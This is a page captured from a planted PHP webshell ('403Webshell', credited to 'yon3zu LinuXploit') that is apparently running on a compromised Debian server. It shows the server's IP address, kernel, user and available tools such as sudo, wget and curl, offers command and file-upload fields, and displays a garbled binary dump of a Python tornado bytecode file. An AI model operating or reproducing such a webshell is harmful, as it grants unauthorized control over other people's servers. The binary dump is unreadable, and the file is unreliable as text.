403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/tornado/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/tornado/__pycache__/concurrent.cpython-311.pyc
�

��b���X�dZddlZddlmZddlZddlZddlZddlmZddl	Z	ddl	m
Z
mZmZm
Z
mZe	jd��ZGd�de��ZejZejefZd	e
d
efd�ZGd�d
ej��Ze��Zde
de
d
efd�Ze��Zd#d�Zddded
dfd�Zddded
dfd�Z ddde
ee!eeeej"fd
dfd�Z#e	j$dddedgdfd
dfd���Z%e	j$dddedgdfd
dfd ���Z%ddded!d
dfd"�Z%dS)$a�Utilities for working with ``Future`` objects.

Tornado previously provided its own ``Future`` class, but now uses
`asyncio.Future`. This module contains utility functions for working
with `asyncio.Future` in a way that is backwards-compatible with
Tornado's old ``Future`` implementation.

While this module is an important part of Tornado's internal
implementation, applications rarely need to interact with it
directly.

�N)�futures)�app_log)�Any�Callable�Optional�Tuple�Union�_Tc��eZdZdS)�ReturnValueIgnoredErrorN)�__name__�
__module__�__qualname__���4/usr/lib/python3/dist-packages/tornado/concurrent.pyrr*s�������Drr�x�returnc�,�t|t��S�N)�
isinstance�FUTURES)rs r�	is_futurer4s���a��!�!�!rc�H�eZdZdedefdededdfd�Zdd	edd
fd�Zd
S)
�
DummyExecutor�fn.�args�kwargsr�futures.Future[_T]c��tj��}	t|||i|����n1#t$r$t	|tj����YnwxYw|Sr)r�Future�"future_set_result_unless_cancelled�	Exception�future_set_exc_info�sys�exc_info)�selfrrr�futures     r�submitzDummyExecutor.submit9st����!�!��	8�.�v�r�r�4�7J�6�7J�7J�K�K�K�K���	8�	8�	8�������7�7�7�7�7�	8�����
s�,�+A�AT�waitNc��dSrr)r'r*s  r�shutdownzDummyExecutor.shutdownCs���r)T)	r
rrrr
rr)�boolr,rrrrr8sx��������3��7�#��,/��;>��	�����
�
�T�
�T�
�
�
�
�
�
rrrrc���dtdtdtff�fd�}|r�rtd���t|��dkr||d��St|��dkrtdt|�����|S)	aEDecorator to run a synchronous method asynchronously on an executor.

    Returns a future.

    The executor to be used is determined by the ``executor``
    attributes of ``self``. To use a different attribute name, pass a
    keyword argument to the decorator::

        @run_on_executor(executor='_thread_pool')
        def foo(self):
            pass

    This decorator should not be confused with the similarly-named
    `.IOLoop.run_in_executor`. In general, using ``run_in_executor``
    when *calling* a blocking method is recommended instead of using
    this decorator when *defining* a method. If compatibility with older
    versions of Tornado is required, consider defining an executor
    and using ``executor.submit()`` at the call site.

    .. versionchanged:: 4.2
       Added keyword arguments to use alternative attributes.

    .. versionchanged:: 5.0
       Always uses the current IOLoop instead of ``self.io_loop``.

    .. versionchanged:: 5.1
       Returns a `.Future` compatible with ``await`` instead of a
       `concurrent.futures.Future`.

    .. deprecated:: 5.1

       The ``callback`` argument is deprecated and will be removed in
       6.0. The decorator itself is discouraged in new code but will
       not be removed in 6.0.

    .. versionchanged:: 6.0

       The ``callback`` argument was removed.
    rr.c	�������dd���tj���dtdtdtdtf��fd���}|S)N�executorr'rrrc���t��}t|���j�|g|�Ri|��}t||��|Sr)r!�getattrr)�chain_future)r'rr�async_future�conc_futurer0rs     ��r�wrapperzCrun_on_executor.<locals>.run_on_executor_decorator.<locals>.wrapperwsP���!�8�8�L�8�'�$��1�1�8��T�S�D�S�S�S�F�S�S�K���l�3�3�3��r)�get�	functools�wrapsrr!)rr6r0rs` @�r�run_on_executor_decoratorz2run_on_executor.<locals>.run_on_executor_decoratortss������:�:�j�*�5�5��	���	�	�	 �#�	 �c�	 �S�	 �V�	 �	 �	 �	 �	 �	 �
�	�	 ��rz*cannot combine positional and keyword args�rzexpected 1 argument, got %d)rr!�
ValueError�len)rrr:s ` r�run_on_executorr>Js����T
�h�
�8�C��K�3H�
�
�
�
�
�
��G��G��E�F�F�F�
�4�y�y�A�~�~�(�(��a��1�1�1�	�T���a����6��D�	�	�B�B�B�$�$r�a�
Future[_T]�bc�����d��fd�}t�t��rt�|��dSddlm}|�����|��dS)	ajChain two futures together so that when one completes, so does the other.

    The result (success or failure) of ``a`` will be copied to ``b``, unless
    ``b`` has already been completed or cancelled by the time ``a`` finishes.

    .. versionchanged:: 5.0

       Now accepts both Tornado/asyncio `Future` objects and
       `concurrent.futures.Future`.

    r(r@rNc�x��|�usJ�����rdSt�d��r8�����$t�������dS����}|���|��dS��������dS)Nr&)�done�hasattrr&r$�	exception�
set_exception�
set_result�result)r(�a_excr?rAs  ��r�copyzchain_future.<locals>.copy�s������{�{�{�{��6�6�8�8�	��F��1�j�!�!�	)�a�j�j�l�l�&>���1�:�:�<�<�0�0�0�0�0��K�K�M�M�E�� �����&�&�&�&�&����Q�X�X�Z�Z�(�(�(�(�(rr)�IOLoop)r(r@rN)rr!�future_add_done_callback�tornado.iolooprL�current�
add_future)r?rArKrLs``  rr3r3�s�����)�)�)�)�)�)�)��!�V���-� ��D�)�)�)�)�)�	*�)�)�)�)�)������#�#�A�t�,�,�,�,�,rr(z%Union[futures.Future[_T], Future[_T]]�valuec�\�|���s|�|��dSdS)z�Set the given ``value`` as the `Future`'s result, if not cancelled.

    Avoids ``asyncio.InvalidStateError`` when calling ``set_result()`` on
    a cancelled `asyncio.Future`.

    .. versionadded:: 5.0
    N)�	cancelledrH)r(rQs  rr"r"�s<�������!����%� � � � � �!�!r�excc��|���s|�|��dStjd|���dS)a�Set the given ``exc`` as the `Future`'s exception.

    If the Future is already canceled, logs the exception instead. If
    this logging is not desired, the caller should explicitly check
    the state of the Future and call ``Future.set_exception`` instead of
    this wrapper.

    Avoids ``asyncio.InvalidStateError`` when calling ``set_exception()`` on
    a cancelled `asyncio.Future`.

    .. versionadded:: 6.0

    z$Exception after Future was cancelled)r&N)rSrGr�error)r(rTs  r�%future_set_exception_unless_cancelledrW�sO�� �����L����S�!�!�!�!�!��
�<�s�K�K�K�K�K�Krr&c�`�|d�td���t||d��dS)a�Set the given ``exc_info`` as the `Future`'s exception.

    Understands both `asyncio.Future` and the extensions in older
    versions of Tornado to enable better tracebacks on Python 2.

    .. versionadded:: 5.0

    .. versionchanged:: 6.0

       If the future is already cancelled, this function is a no-op.
       (previously ``asyncio.InvalidStateError`` would be raised)

    r;Nz,future_set_exc_info called with no exception)r#rW)r(r&s  rr$r$�s7��&��{���F�G�G�G�)�&�(�1�+�>�>�>�>�>rr�callbackc��dSrr�r(rYs  rrMrM��	��	�Drc��dSrrr[s  rrMrM�r\r).Nc�r�|���r
||��dS|�|��dS)aLArrange to call ``callback`` when ``future`` is complete.

    ``callback`` is invoked with one argument, the ``future``.

    If ``future`` is already done, ``callback`` is invoked immediately.
    This may differ from the behavior of ``Future.add_done_callback``,
    which makes no such guarantee.

    .. versionadded:: 5.0
    N)rD�add_done_callbackr[s  rrMrM�sD���{�{�}�}�+���������� � ��*�*�*�*�*r)r?r@rAr@rN)&�__doc__�asyncio�
concurrentrr8r%�types�tornado.logr�typingrrrrr	�TypeVarr
r#rr!rr-r�Executorr�dummy_executorr>�object�
_NO_RESULTr3r"�
BaseExceptionrW�type�
TracebackTyper$�overloadrMrrr�<module>ros�������������������
�
�
�
�����������
�
�
�
�8�8�8�8�8�8�8�8�8�8�8�8�8�8��V�^�D����	�	�	�	�	�i�	�	�	�

����>�6�
"��"��"��"�"�"�"�
�
�
�
�
�G�$�
�
�
������<%�3�<%�#�<%�(�<%�<%�<%�<%�~�V�X�X�
� -� -� -� -�F!�3�!�<>�!�	�!�!�!�!�L�3�L�:G�L�	�L�L�L�L�,?�3�?�������/��%�:M�1N�N��?�

�?�?�?�?�0��	� �	�,4�6J�5K�T�5Q�,R�	�	�	�	�	���	���	��	�$,�l�^�T�-A�$B�	�	�	�	�	���	�+�3�+�?G�	�?R�+�	�+�+�+�+�+�+r

Youez - 2016 - github.com/yon3zu
LinuXploit